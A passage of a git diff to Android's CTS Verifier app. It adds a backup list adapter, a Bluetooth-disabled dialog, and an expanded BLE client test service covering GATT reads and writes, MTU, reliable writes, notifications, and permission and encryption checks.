+        public View getView(LayoutInflater inflater, int position, View convertView,
+                ViewGroup parent) {
+            TextView view = (TextView) convertView;
+            if (convertView == null) {
+                view = (TextView) inflater.inflate(R.layout.bu_preference_row, parent, false);
+            }
+            view.setText(mGroup + "/" + mName + " : " + mValue);
+            return view;
+        }
+    }
+
+    static class FileBackupItem implements BackupItem {
+
+        private final String mName;
+
+        private final String mContents;
+
+        FileBackupItem(String name, String contents) {
+            mName = name;
+            mContents = contents;
+        }
+
+        @Override
+        public int getViewType() {
+            return 2;
+        }
+
+        @Override
+        public View getView(LayoutInflater inflater, int position, View convertView,
+                ViewGroup parent) {
+            TextView view = (TextView) convertView;
+            if (convertView == null) {
+                view = (TextView) inflater.inflate(R.layout.bu_preference_row, parent, false);
+            }
+            view.setText(mName + " : " + mContents);
+            return view;
+        }
+    }
+
+    class BackupAdapter extends BaseAdapter {
+
+        private final LayoutInflater mLayoutInflater;
+
+        private final List<BackupItem> mItems = new ArrayList<BackupItem>();
+
+        public BackupAdapter(Context context) {
+            mLayoutInflater = (LayoutInflater) context.getSystemService(LAYOUT_INFLATER_SERVICE);
+        }
+
+        public void clear() {
+            mItems.clear();
+        }
+
+        public void addAll(List<BackupItem> items) {
+            mItems.addAll(items);
+            notifyDataSetChanged();
+        }
+
+        @Override
+        public int getCount() {
+            return mItems.size();
+        }
+
+        @Override
+        public BackupItem getItem(int position) {
+            return mItems.get(position);
+        }
+
+        @Override
+        public long getItemId(int position) {
+            return position;
+        }
+
+        @Override
+        public boolean isEnabled(int position) {
+            return false;
+        }
+
+        @Override
+        public int getViewTypeCount() {
+            return 3;
+        }
+
+        @Override
+        public int getItemViewType(int position) {
+            return getItem(position).getViewType();
+        }
+
+        @Override
+        public View getView(int position, View convertView, ViewGroup parent) {
+            return getItem(position).getView(mLayoutInflater, position, convertView, parent);
+        }
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleAdvertiserTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleAdvertiserTestActivity.java
index 64c50bc..cd7cf70 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleAdvertiserTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleAdvertiserTestActivity.java
@@ -16,13 +16,16 @@
 
 package com.android.cts.verifier.bluetooth;
 
+import android.app.AlertDialog;
+import android.app.Dialog;
+import android.bluetooth.BluetoothAdapter;
+import android.content.DialogInterface;
+import android.os.Bundle;
+
 import com.android.cts.verifier.ManifestTestListAdapter;
 import com.android.cts.verifier.PassFailButtons;
 import com.android.cts.verifier.R;
 
-import android.bluetooth.BluetoothAdapter;
-import android.os.Bundle;
-
 import java.util.ArrayList;
 import java.util.List;
 
@@ -44,5 +47,17 @@
 
         setTestListAdapter(new ManifestTestListAdapter(this, getClass().getName(),
                 disabledTest.toArray(new String[disabledTest.size()])));
+        if (!adapter.isEnabled()) {
+            new AlertDialog.Builder(this)
+                    .setTitle(R.string.ble_bluetooth_disable_title)
+                    .setMessage(R.string.ble_bluetooth_disable_message)
+                    .setOnCancelListener(new Dialog.OnCancelListener() {
+                        @Override
+                        public void onCancel(DialogInterface dialog) {
+                            finish();
+                        }
+                    })
+                    .create().show();
+        }
     }
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientService.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientService.java
index 10f862d..972ba43 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientService.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientService.java
@@ -16,10 +16,6 @@
 
 package com.android.cts.verifier.bluetooth;
 
-import java.util.Arrays;
-import java.util.UUID;
-import java.util.List;
-
 import android.app.Service;
 import android.bluetooth.BluetoothAdapter;
 import android.bluetooth.BluetoothDevice;
@@ -35,54 +31,109 @@
 import android.bluetooth.le.ScanFilter;
 import android.bluetooth.le.ScanResult;
 import android.bluetooth.le.ScanSettings;
+import android.content.BroadcastReceiver;
 import android.content.Context;
 import android.content.Intent;
+import android.content.IntentFilter;
+import android.os.Build;
 import android.os.Handler;
 import android.os.IBinder;
 import android.os.ParcelUuid;
+import android.text.TextUtils;
 import android.util.Log;
 import android.widget.Toast;
 
+import com.android.cts.verifier.R;
+
+import java.util.Arrays;
+import java.util.List;
+import java.util.Set;
+import java.util.UUID;
+
 public class BleClientService extends Service {
 
     public static final boolean DEBUG = true;
     public static final String TAG = "BleClientService";
 
+    // Android N (2016 July 15, currently) BluetoothGatt#disconnect() does not work correct.
+    // (termination signal will not be sent)
+    // This flag switches to turn Bluetooth off instead of BluetoothGatt#disconnect().
+    // If true, test will turn Bluetooth off. Otherwise, will call BluetoothGatt#disconnect().
+    public static final boolean DISCONNECT_BY_TURN_BT_OFF_ON = (Build.VERSION.SDK_INT > Build.VERSION_CODES.M);
+
+    // for Version 1 test
+//    private static final int TRANSPORT_MODE_FOR_SECURE_CONNECTION = BluetoothDevice.TRANSPORT_AUTO;
+    // for Version 2 test
+    private static final int TRANSPORT_MODE_FOR_SECURE_CONNECTION = BluetoothDevice.TRANSPORT_LE;
+
     public static final int COMMAND_CONNECT = 0;
     public static final int COMMAND_DISCONNECT = 1;
     public static final int COMMAND_DISCOVER_SERVICE = 2;
     public static final int COMMAND_READ_RSSI = 3;
     public static final int COMMAND_WRITE_CHARACTERISTIC = 4;
-    public static final int COMMAND_READ_CHARACTERISTIC = 5;
-    public static final int COMMAND_WRITE_DESCRIPTOR = 6;
-    public static final int COMMAND_READ_DESCRIPTOR = 7;
-    public static final int COMMAND_SET_NOTIFICATION = 8;
-    public static final int COMMAND_BEGIN_WRITE = 9;
-    public static final int COMMAND_EXECUTE_WRITE = 10;
-    public static final int COMMAND_ABORT_RELIABLE = 11;
-    public static final int COMMAND_SCAN_START = 12;
-    public static final int COMMAND_SCAN_STOP = 13;
+    public static final int COMMAND_WRITE_CHARACTERISTIC_BAD_RESP = 5;
+    public static final int COMMAND_READ_CHARACTERISTIC = 6;
+    public static final int COMMAND_WRITE_DESCRIPTOR = 7;
+    public static final int COMMAND_READ_DESCRIPTOR = 8;
+    public static final int COMMAND_SET_NOTIFICATION = 9;
+    public static final int COMMAND_BEGIN_WRITE = 10;
+    public static final int COMMAND_EXECUTE_WRITE = 11;
+    public static final int COMMAND_ABORT_RELIABLE = 12;
+    public static final int COMMAND_SCAN_START = 13;
+    public static final int COMMAND_SCAN_STOP = 14;
 
+    public static final String BLE_BLUETOOTH_MISMATCH_SECURE =
+            "com.android.cts.verifier.bluetooth.BLE_BLUETOOTH_MISMATCH_SECURE";
+    public static final String BLE_BLUETOOTH_MISMATCH_INSECURE =
+            "com.android.cts.verifier.bluetooth.BLE_BLUETOOTH_MISMATCH_INSECURE";
+    public static final String BLE_BLUETOOTH_DISABLED =
+            "com.android.cts.verifier.bluetooth.BLE_BLUETOOTH_DISABLED";
     public static final String BLE_BLUETOOTH_CONNECTED =
             "com.android.cts.verifier.bluetooth.BLE_BLUETOOTH_CONNECTED";
     public static final String BLE_BLUETOOTH_DISCONNECTED =
             "com.android.cts.verifier.bluetooth.BLE_BLUETOOTH_DISCONNECTED";
     public static final String BLE_SERVICES_DISCOVERED =
             "com.android.cts.verifier.bluetooth.BLE_SERVICES_DISCOVERED";
+    public static final String BLE_MTU_CHANGED_23BYTES =
+            "com.android.cts.verifier.bluetooth.BLE_MTU_CHANGED_23BYTES";
+    public static final String BLE_MTU_CHANGED_512BYTES =
+            "com.android.cts.verifier.bluetooth.BLE_MTU_CHANGED_512BYTES";
     public static final String BLE_CHARACTERISTIC_READ =
             "com.android.cts.verifier.bluetooth.BLE_CHARACTERISTIC_READ";
     public static final String BLE_CHARACTERISTIC_WRITE =
             "com.android.cts.verifier.bluetooth.BLE_CHARACTERISTIC_WRITE";
     public static final String BLE_CHARACTERISTIC_CHANGED =
             "com.android.cts.verifier.bluetooth.BLE_CHARACTERISTIC_CHANGED";
+    public static final String BLE_CHARACTERISTIC_INDICATED =
+            "com.android.cts.verifier.bluetooth.BLE_CHARACTERISTIC_INDICATED";
     public static final String BLE_DESCRIPTOR_READ =
             "com.android.cts.verifier.bluetooth.BLE_DESCRIPTOR_READ";
     public static final String BLE_DESCRIPTOR_WRITE =
             "com.android.cts.verifier.bluetooth.BLE_DESCRIPTOR_WRITE";
     public static final String BLE_RELIABLE_WRITE_COMPLETED =
             "com.android.cts.verifier.bluetooth.BLE_RELIABLE_WRITE_COMPLETED";
+    public static final String BLE_RELIABLE_WRITE_BAD_RESP_COMPLETED =
+            "com.android.cts.verifier.bluetooth.BLE_RELIABLE_WRITE_BAD_RESP_COMPLETED";
     public static final String BLE_READ_REMOTE_RSSI =
             "com.android.cts.verifier.bluetooth.BLE_READ_REMOTE_RSSI";
+    public static final String BLE_CHARACTERISTIC_READ_NOPERMISSION =
+            "com.android.cts.verifier.bluetooth.BLE_CHARACTERISTIC_READ_NOPERMISSION";
+    public static final String BLE_CHARACTERISTIC_WRITE_NOPERMISSION =
+            "com.android.cts.verifier.bluetooth.BLE_CHARACTERISTIC_WRITE_NOPERMISSION";
+    public static final String BLE_DESCRIPTOR_READ_NOPERMISSION =
+            "com.android.cts.verifier.bluetooth.BLE_DESCRIPTOR_READ_NOPERMISSION";
+    public static final String BLE_DESCRIPTOR_WRITE_NOPERMISSION =
+            "com.android.cts.verifier.bluetooth.BLE_DESCRIPTOR_WRITE_NOPERMISSION";
+    public static final String BLE_CHARACTERISTIC_READ_NEED_ENCRYPTED =
+            "com.android.cts.verifier.bluetooth.BLE_CHARACTERISTIC_READ_NEED_ENCRYPTED";
+    public static final String BLE_CHARACTERISTIC_WRITE_NEED_ENCRYPTED =
+            "com.android.cts.verifier.bluetooth.BLE_CHARACTERISTIC_WRITE_NEED_ENCRYPTED";
+    public static final String BLE_DESCRIPTOR_READ_NEED_ENCRYPTED =
+            "com.android.cts.verifier.bluetooth.BLE_DESCRIPTOR_READ_NEED_ENCRYPTED";
+    public static final String BLE_DESCRIPTOR_WRITE_NEED_ENCRYPTED =
+            "com.android.cts.verifier.bluetooth.BLE_DESCRIPTOR_WRITE_NEED_ENCRYPTED";
+    public static final String BLE_CLIENT_ERROR =
+            "com.android.cts.verifier.bluetooth.BLE_CLIENT_ERROR";
 
     public static final String EXTRA_COMMAND =
             "com.android.cts.verifier.bluetooth.EXTRA_COMMAND";
@@ -90,6 +141,56 @@
             "com.android.cts.verifier.bluetooth.EXTRA_WRITE_VALUE";
     public static final String EXTRA_BOOL =
             "com.android.cts.verifier.bluetooth.EXTRA_BOOL";
+
+
+    // Literal for Client Action
+    public static final String BLE_CLIENT_ACTION_CLIENT_CONNECT =
+            "com.android.cts.verifier.bluetooth.BLE_CLIENT_ACTION_CLIENT_CONNECT";
+    public static final String BLE_CLIENT_ACTION_CLIENT_CONNECT_SECURE =
+            "com.android.cts.verifier.bluetooth.BLE_CLIENT_ACTION_CLIENT_CONNECT_SECURE";
+    public static final String BLE_CLIENT_ACTION_BLE_DISVOCER_SERVICE =
+            "com.android.cts.verifier.bluetooth.BLE_CLIENT_ACTION_BLE_DISVOCER_SERVICE";
+    public static final String BLE_CLIENT_ACTION_REQUEST_MTU_23 =
+            "com.android.cts.verifier.bluetooth.BLE_CLIENT_ACTION_REQUEST_MTU_23";
+    public static final String BLE_CLIENT_ACTION_REQUEST_MTU_512 =
+            "com.android.cts.verifier.bluetooth.BLE_CLIENT_ACTION_REQUEST_MTU_512";
+    public static final String BLE_CLIENT_ACTION_READ_CHARACTERISTIC =
+            "com.android.cts.verifier.bluetooth.BLE_CLIENT_ACTION_READ_CHARACTERISTIC";
+    public static final String BLE_CLIENT_ACTION_WRITE_CHARACTERISTIC =
+            "com.android.cts.verifier.bluetooth.BLE_CLIENT_ACTION_WRITE_CHARACTERISTIC";
+    public static final String BLE_CLIENT_ACTION_RELIABLE_WRITE =
+            "com.android.cts.verifier.bluetooth.BLE_CLIENT_ACTION_RELIABLE_WRITE";
+    public static final String BLE_CLIENT_ACTION_RELIABLE_WRITE_BAD_RESP =
+            "com.android.cts.verifier.bluetooth.BLE_CLIENT_ACTION_RELIABLE_WRITE_BAD_RESP";
+    public static final String BLE_CLIENT_ACTION_NOTIFY_CHARACTERISTIC =
+            "com.android.cts.verifier.bluetooth.BLE_CLIENT_ACTION_NOTIFY_CHARACTERISTIC";
+    public static final String BLE_CLIENT_ACTION_INDICATE_CHARACTERISTIC =
+            "com.android.cts.verifier.bluetooth.BLE_CLIENT_ACTION_INDICATE_CHARACTERISTIC";
+    public static final String BLE_CLIENT_ACTION_READ_DESCRIPTOR =
+            "com.android.cts.verifier.bluetooth.BLE_CLIENT_ACTION_READ_DESCRIPTOR";
+    public static final String BLE_CLIENT_ACTION_WRITE_DESCRIPTOR =
+            "com.android.cts.verifier.bluetooth.BLE_CLIENT_ACTION_WRITE_DESCRIPTOR";
+    public static final String BLE_CLIENT_ACTION_READ_RSSI =
+            "com.android.cts.verifier.bluetooth.BLE_CLIENT_ACTION_READ_RSSI";
+    public static final String BLE_CLIENT_ACTION_CLIENT_DISCONNECT =
+            "com.android.cts.verifier.bluetooth.BLE_CLIENT_ACTION_CLIENT_DISCONNECT";
+    public static final String BLE_CLIENT_ACTION_READ_CHARACTERISTIC_NO_PERMISSION =
+            "com.android.cts.verifier.bluetooth.BLE_CLIENT_ACTION_READ_CHARACTERISTIC_NO_PERMISSION";
+    public static final String BLE_CLIENT_ACTION_WRITE_CHARACTERISTIC_NO_PERMISSION =
+            "com.android.cts.verifier.bluetooth.BLE_CLIENT_ACTION_WRITE_CHARACTERISTIC_NO_PERMISSION";
+    public static final String BLE_CLIENT_ACTION_READ_DESCRIPTOR_NO_PERMISSION =
+            "com.android.cts.verifier.bluetooth.BLE_CLIENT_ACTION_READ_DESCRIPTOR_NO_PERMISSION";
+    public static final String BLE_CLIENT_ACTION_WRITE_DESCRIPTOR_NO_PERMISSION =
+            "com.android.cts.verifier.bluetooth.BLE_CLIENT_ACTION_WRITE_DESCRIPTOR_NO_PERMISSION";
+    public static final String BLE_CLIENT_ACTION_READ_AUTHENTICATED_CHARACTERISTIC =
+            "com.android.cts.verifier.bluetooth.BLE_CLIENT_ACTION_READ_AUTHENTICATED_CHARACTERISTIC";
+    public static final String BLE_CLIENT_ACTION_WRITE_AUTHENTICATED_CHARACTERISTIC =
+            "com.android.cts.verifier.bluetooth.BLE_CLIENT_ACTION_WRITE_AUTHENTICATED_CHARACTERISTIC";
+    public static final String BLE_CLIENT_ACTION_READ_AUTHENTICATED_DESCRIPTOR =
+            "com.android.cts.verifier.bluetooth.BLE_CLIENT_ACTION_READ_AUTHENTICATED_DESCRIPTOR";
+    public static final String BLE_CLIENT_ACTION_WRITE_AUTHENTICATED_DESCRIPTOR =
+            "com.android.cts.verifier.bluetooth.BLE_CLIENT_ACTION_WRITE_AUTHENTICATED_DESCRIPTOR";
+
     public static final String EXTRA_CHARACTERISTIC_VALUE =
             "com.android.cts.verifier.bluetooth.EXTRA_CHARACTERISTIC_VALUE";
     public static final String EXTRA_DESCRIPTOR_VALUE =
@@ -99,16 +200,87 @@
     public static final String EXTRA_ERROR_MESSAGE =
             "com.android.cts.verifier.bluetooth.EXTRA_ERROR_MESSAGE";
 
+    public static final String WRITE_VALUE_512BYTES_FOR_MTU = createTestData(512);
+    public static final String WRITE_VALUE_507BYTES_FOR_RELIABLE_WRITE = createTestData(507);
+
     private static final UUID SERVICE_UUID =
             UUID.fromString("00009999-0000-1000-8000-00805f9b34fb");
     private static final UUID CHARACTERISTIC_UUID =
             UUID.fromString("00009998-0000-1000-8000-00805f9b34fb");
+    private static final UUID CHARACTERISTIC_RESULT_UUID =
+            UUID.fromString("00009974-0000-1000-8000-00805f9b34fb");
     private static final UUID UPDATE_CHARACTERISTIC_UUID =
             UUID.fromString("00009997-0000-1000-8000-00805f9b34fb");
     private static final UUID DESCRIPTOR_UUID =
             UUID.fromString("00009996-0000-1000-8000-00805f9b34fb");
 
-    private static final String WRITE_VALUE = "TEST";
+    private static final UUID SERVICE_UUID_ADDITIONAL =
+            UUID.fromString("00009995-0000-1000-8000-00805f9b34fb");
+
+    // Literal for registration permission of Characteristic
+    private static final UUID CHARACTERISTIC_NO_READ_UUID =
+            UUID.fromString("00009984-0000-1000-8000-00805f9b34fb");
+    private static final UUID CHARACTERISTIC_NO_WRITE_UUID =
+            UUID.fromString("00009983-0000-1000-8000-00805f9b34fb");
+    private static final UUID CHARACTERISTIC_NEED_ENCRYPTED_READ_UUID =
+            UUID.fromString("00009982-0000-1000-8000-00805f9b34fb");
+    private static final UUID CHARACTERISTIC_NEED_ENCRYPTED_WRITE_UUID =
+            UUID.fromString("00009981-0000-1000-8000-00805f9b34fb");
+
+    // Literal for registration permission of Descriptor
+    private static final UUID DESCRIPTOR_NO_READ_UUID =
+            UUID.fromString("00009973-0000-1000-8000-00805f9b34fb");
+    private static final UUID DESCRIPTOR_NO_WRITE_UUID =
+            UUID.fromString("00009972-0000-1000-8000-00805f9b34fb");
+    private static final UUID DESCRIPTOR_NEED_ENCRYPTED_READ_UUID =
+            UUID.fromString("00009969-0000-1000-8000-00805f9b34fb");
+    private static final UUID DESCRIPTOR_NEED_ENCRYPTED_WRITE_UUID =
+            UUID.fromString("00009968-0000-1000-8000-00805f9b34fb");
+
+    //  Literal for registration upper limit confirmation of Characteristic
+    private static final UUID UPDATE_CHARACTERISTIC_UUID_1 =
+            UUID.fromString("00009989-0000-1000-8000-00805f9b34fb");
+    private static final UUID UPDATE_CHARACTERISTIC_UUID_2 =
+            UUID.fromString("00009988-0000-1000-8000-00805f9b34fb");
+    private static final UUID UPDATE_CHARACTERISTIC_UUID_3 =
+            UUID.fromString("00009987-0000-1000-8000-00805f9b34fb");
+    private static final UUID UPDATE_CHARACTERISTIC_UUID_4 =
+            UUID.fromString("00009986-0000-1000-8000-00805f9b34fb");
+    private static final UUID UPDATE_CHARACTERISTIC_UUID_5 =
+            UUID.fromString("00009985-0000-1000-8000-00805f9b34fb");
+    private static final UUID UPDATE_CHARACTERISTIC_UUID_6 =
+            UUID.fromString("00009979-0000-1000-8000-00805f9b34fb");
+    private static final UUID UPDATE_CHARACTERISTIC_UUID_7 =
+            UUID.fromString("00009978-0000-1000-8000-00805f9b34fb");
+    private static final UUID UPDATE_CHARACTERISTIC_UUID_8 =
+            UUID.fromString("00009977-0000-1000-8000-00805f9b34fb");
+    private static final UUID UPDATE_CHARACTERISTIC_UUID_9 =
+            UUID.fromString("00009976-0000-1000-8000-00805f9b34fb");
+    private static final UUID UPDATE_CHARACTERISTIC_UUID_10 =
+            UUID.fromString("00009975-0000-1000-8000-00805f9b34fb");
+    private static final UUID UPDATE_CHARACTERISTIC_UUID_11 =
+            UUID.fromString("00009959-0000-1000-8000-00805f9b34fb");
+    private static final UUID UPDATE_CHARACTERISTIC_UUID_12 =
+            UUID.fromString("00009958-0000-1000-8000-00805f9b34fb");
+    private static final UUID UPDATE_CHARACTERISTIC_UUID_13 =
+            UUID.fromString("00009957-0000-1000-8000-00805f9b34fb");
+    private static final UUID UPDATE_CHARACTERISTIC_UUID_14 =
+            UUID.fromString("00009956-0000-1000-8000-00805f9b34fb");
+    private static final UUID UPDATE_CHARACTERISTIC_UUID_15 =
+            UUID.fromString("00009955-0000-1000-8000-00805f9b34fb");
+
+    private static final UUID UPDATE_DESCRIPTOR_UUID =
+            UUID.fromString("00002902-0000-1000-8000-00805f9b34fb");
+
+    private static final UUID INDICATE_CHARACTERISTIC_UUID =
+            UUID.fromString("00009971-0000-1000-8000-00805f9b34fb");
+
+    public static final String WRITE_VALUE = "CLIENT_TEST";
+    private static final String NOTIFY_VALUE = "NOTIFY_TEST";
+    public static final String WRITE_VALUE_BAD_RESP = "BAD_RESP_TEST";
+
+    // current test category
+    private String mCurrentAction;
 
     private BluetoothManager mBluetoothManager;
     private BluetoothAdapter mBluetoothAdapter;
@@ -117,24 +289,181 @@
     private BluetoothLeScanner mScanner;
     private Handler mHandler;
     private Context mContext;
+    private boolean mSecure;
+    private int mNotifyCount;
+    private boolean mValidityService;
+    private ReliableWriteState mExecReliableWrite;
+    private byte[] mBuffer;
+
+    // Handler for communicating task with peer.
+    private TestTaskQueue mTaskQueue;
+
+    private enum ReliableWriteState {
+        RELIABLE_WRITE_NONE,
+        RELIABLE_WRITE_WRITE_1ST_DATA,
+        RELIABLE_WRITE_WRITE_2ND_DATA,
+        RELIABLE_WRITE_EXECUTE,
+        RELIABLE_WRITE_BAD_RESP
+    }
 
     @Override
     public void onCreate() {
         super.onCreate();
 
+        registerReceiver(mBondStatusReceiver, new IntentFilter(BluetoothDevice.ACTION_BOND_STATE_CHANGED));
+
         mBluetoothManager = (BluetoothManager) getSystemService(Context.BLUETOOTH_SERVICE);
         mBluetoothAdapter = mBluetoothManager.getAdapter();
         mScanner = mBluetoothAdapter.getBluetoothLeScanner();
         mHandler = new Handler();
         mContext = this;
-        startScan();
+        mNotifyCount = 0;
+
+        mTaskQueue = new TestTaskQueue(getClass().getName() + "_taskHandlerThread");
     }
 
     @Override
-    public int onStartCommand(Intent intent, int flags, int startId) {
+    public int onStartCommand(final Intent intent, int flags, int startId) {
+        if (!mBluetoothAdapter.isEnabled()) {
+            notifyBluetoothDisabled();
+        } else {
+            mTaskQueue.addTask(new Runnable() {
+                @Override
+                public void run() {
+                    onTestFinish(intent.getAction());
+                }
+            }, 1500);
+        }
         return START_NOT_STICKY;
     }
 
+    private void onTestFinish(String action) {
+        mCurrentAction = action;
+        if (mCurrentAction != null) {
+            switch (mCurrentAction) {
+                case BLE_CLIENT_ACTION_CLIENT_CONNECT_SECURE:
+                    mSecure = true;
+                    mExecReliableWrite = ReliableWriteState.RELIABLE_WRITE_NONE;
+                    startScan();
+                    break;
+                case BLE_CLIENT_ACTION_CLIENT_CONNECT:
+                    mExecReliableWrite = ReliableWriteState.RELIABLE_WRITE_NONE;
+                    startScan();
+                    break;
+                case BLE_CLIENT_ACTION_BLE_DISVOCER_SERVICE:
+                    if (mBluetoothGatt != null && mBleState == BluetoothProfile.STATE_CONNECTED) {
+                        mBluetoothGatt.discoverServices();
+                    } else {
+                        showMessage("Bluetooth LE not cnnected.");
+                    }
+                    break;
+                case BLE_CLIENT_ACTION_REQUEST_MTU_23:
+                case BLE_CLIENT_ACTION_REQUEST_MTU_512: // fall through
+                    requestMtu();
+                    break;
+                case BLE_CLIENT_ACTION_READ_CHARACTERISTIC:
+                    readCharacteristic(CHARACTERISTIC_UUID);
+                    break;
+                case BLE_CLIENT_ACTION_WRITE_CHARACTERISTIC:
+                    writeCharacteristic(CHARACTERISTIC_UUID, WRITE_VALUE);
+                    break;
+                case BLE_CLIENT_ACTION_RELIABLE_WRITE:
+                case BLE_CLIENT_ACTION_RELIABLE_WRITE_BAD_RESP: // fall through
+                    mTaskQueue.addTask(new Runnable() {
+                        @Override
+                        public void run() {
+                            reliableWrite();
+                        }
+                    });
+                break;
+                case BLE_CLIENT_ACTION_INDICATE_CHARACTERISTIC:
+                    setNotification(INDICATE_CHARACTERISTIC_UUID, true);
+                    break;
+                case BLE_CLIENT_ACTION_NOTIFY_CHARACTERISTIC:
+                    // Registered the notify to characteristics in the service
+                    mTaskQueue.addTask(new Runnable() {
+                        @Override
+                        public void run() {
+                            mNotifyCount = 16;
+                            setNotification(UPDATE_CHARACTERISTIC_UUID, true);
+                            sleep(1000);
+                            setNotification(SERVICE_UUID_ADDITIONAL, UPDATE_CHARACTERISTIC_UUID_1, true);
+                            sleep(1000);
+                            setNotification(SERVICE_UUID_ADDITIONAL, UPDATE_CHARACTERISTIC_UUID_2, true);
+                            sleep(1000);
+                            setNotification(SERVICE_UUID_ADDITIONAL, UPDATE_CHARACTERISTIC_UUID_3, true);
+                            sleep(1000);
+                            setNotification(SERVICE_UUID_ADDITIONAL, UPDATE_CHARACTERISTIC_UUID_4, true);
+                            sleep(1000);
+                            setNotification(SERVICE_UUID_ADDITIONAL, UPDATE_CHARACTERISTIC_UUID_5, true);
+                            sleep(1000);
+                            setNotification(UPDATE_CHARACTERISTIC_UUID_6, true);
+                            sleep(1000);
+                            setNotification(UPDATE_CHARACTERISTIC_UUID_7, true);
+                            sleep(1000);
+                            setNotification(UPDATE_CHARACTERISTIC_UUID_8, true);
+                            sleep(1000);
+                            setNotification(UPDATE_CHARACTERISTIC_UUID_9, true);
+                            sleep(1000);
+                            setNotification(UPDATE_CHARACTERISTIC_UUID_10, true);
+                            sleep(1000);
+                            setNotification(SERVICE_UUID_ADDITIONAL, UPDATE_CHARACTERISTIC_UUID_11, true);
+                            sleep(1000);
+                            setNotification(SERVICE_UUID_ADDITIONAL, UPDATE_CHARACTERISTIC_UUID_12, true);
+                            sleep(1000);
+                            setNotification(SERVICE_UUID_ADDITIONAL, UPDATE_CHARACTERISTIC_UUID_13, true);
+                            sleep(1000);
+                            setNotification(SERVICE_UUID_ADDITIONAL, UPDATE_CHARACTERISTIC_UUID_14, true);
+                            sleep(1000);
+                            setNotification(SERVICE_UUID_ADDITIONAL, UPDATE_CHARACTERISTIC_UUID_15, true);
+                            sleep(1000);
+                        }
+                    });
+                break;
+                case BLE_CLIENT_ACTION_READ_DESCRIPTOR:
+                    readDescriptor(DESCRIPTOR_UUID);
+                    break;
+                case BLE_CLIENT_ACTION_WRITE_DESCRIPTOR:
+                    writeDescriptor(DESCRIPTOR_UUID, WRITE_VALUE);
+                    break;
+                case BLE_CLIENT_ACTION_READ_RSSI:
+                    if (mBluetoothGatt != null) {
+                        mBluetoothGatt.readRemoteRssi();
+                    }
+                    break;
+                case BLE_CLIENT_ACTION_CLIENT_DISCONNECT:
+                    if (mBluetoothGatt != null) {
+                        mBluetoothGatt.disconnect();
+                    }
+                    break;
+                case BLE_CLIENT_ACTION_READ_CHARACTERISTIC_NO_PERMISSION:
+                    readCharacteristic(CHARACTERISTIC_NO_READ_UUID);
+                    break;
+                case BLE_CLIENT_ACTION_WRITE_CHARACTERISTIC_NO_PERMISSION:
+                    writeCharacteristic(CHARACTERISTIC_NO_WRITE_UUID, WRITE_VALUE);
+                    break;
+                case BLE_CLIENT_ACTION_READ_DESCRIPTOR_NO_PERMISSION:
+                    readDescriptor(DESCRIPTOR_NO_READ_UUID);
+                    break;
+                case BLE_CLIENT_ACTION_WRITE_DESCRIPTOR_NO_PERMISSION:
+                    writeDescriptor(DESCRIPTOR_NO_WRITE_UUID, WRITE_VALUE);
+                    break;
+                case BLE_CLIENT_ACTION_READ_AUTHENTICATED_CHARACTERISTIC:
+                    readCharacteristic(CHARACTERISTIC_NEED_ENCRYPTED_READ_UUID);
+                    break;
+                case BLE_CLIENT_ACTION_WRITE_AUTHENTICATED_CHARACTERISTIC:
+                    writeCharacteristic(CHARACTERISTIC_NEED_ENCRYPTED_WRITE_UUID, WRITE_VALUE);
+                    break;
+                case BLE_CLIENT_ACTION_READ_AUTHENTICATED_DESCRIPTOR:
+                    readDescriptor(CHARACTERISTIC_RESULT_UUID, DESCRIPTOR_NEED_ENCRYPTED_READ_UUID);
+                    break;
+                case BLE_CLIENT_ACTION_WRITE_AUTHENTICATED_DESCRIPTOR:
+                    writeDescriptor(CHARACTERISTIC_RESULT_UUID, DESCRIPTOR_NEED_ENCRYPTED_WRITE_UUID, WRITE_VALUE);
+                    break;
+            }
+        }
+    }
+
     @Override
     public IBinder onBind(Intent intent) {
         return null;
@@ -143,54 +472,183 @@
     @Override
     public void onDestroy() {
         super.onDestroy();
-        mBluetoothGatt.disconnect();
-        mBluetoothGatt.close();
-        mBluetoothGatt = null;
+        if (mBluetoothGatt != null) {
+            mBluetoothGatt.disconnect();
+            mBluetoothGatt.close();
+            mBluetoothGatt = null;
+        }
         stopScan();
+        unregisterReceiver(mBondStatusReceiver);
+
+        mTaskQueue.quit();
     }
 
-    private void writeCharacteristic(String writeValue) {
-        BluetoothGattCharacteristic characteristic = getCharacteristic(CHARACTERISTIC_UUID);
-        if (characteristic == null) return;
-        characteristic.setValue(writeValue);
-        mBluetoothGatt.writeCharacteristic(characteristic);
+    public static BluetoothGatt connectGatt(BluetoothDevice device, Context context, boolean autoConnect, boolean isSecure, BluetoothGattCallback callback) {
+        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
+            if (isSecure) {
+                if (TRANSPORT_MODE_FOR_SECURE_CONNECTION == BluetoothDevice.TRANSPORT_AUTO) {
+                    Toast.makeText(context, "connectGatt(transport=AUTO)", Toast.LENGTH_SHORT).show();
+                } else {
+                    Toast.makeText(context, "connectGatt(transport=LE)", Toast.LENGTH_SHORT).show();
+                }
+                return device.connectGatt(context, autoConnect, callback, TRANSPORT_MODE_FOR_SECURE_CONNECTION);
+            } else {
+                Toast.makeText(context, "connectGatt(transport=LE)", Toast.LENGTH_SHORT).show();
+                return device.connectGatt(context, autoConnect, callback, BluetoothDevice.TRANSPORT_LE);
+            }
+        } else {
+            Toast.makeText(context, "connectGatt", Toast.LENGTH_SHORT).show();
+            return device.connectGatt(context, autoConnect, callback);
+        }
     }
 
-    private void readCharacteristic() {
-        BluetoothGattCharacteristic characteristic = getCharacteristic(CHARACTERISTIC_UUID);
-        if (characteristic != null) mBluetoothGatt.readCharacteristic(characteristic);
+    private void requestMtu() {
+        if (mBluetoothGatt != null) {
+            // MTU request test does not work on Android 6.0 in secure mode.
+            // (BluetoothDevice#createBond() does not work on Android 6.0.
+            //  So devices can't establish Bluetooth LE pairing.)
+            boolean mtuTestExecutable = true;
+            if (Build.VERSION.SDK_INT <= Build.VERSION_CODES.M) {
+                mtuTestExecutable = !mSecure;
+            }
+
+            if (mtuTestExecutable) {
+                int mtu = 0;
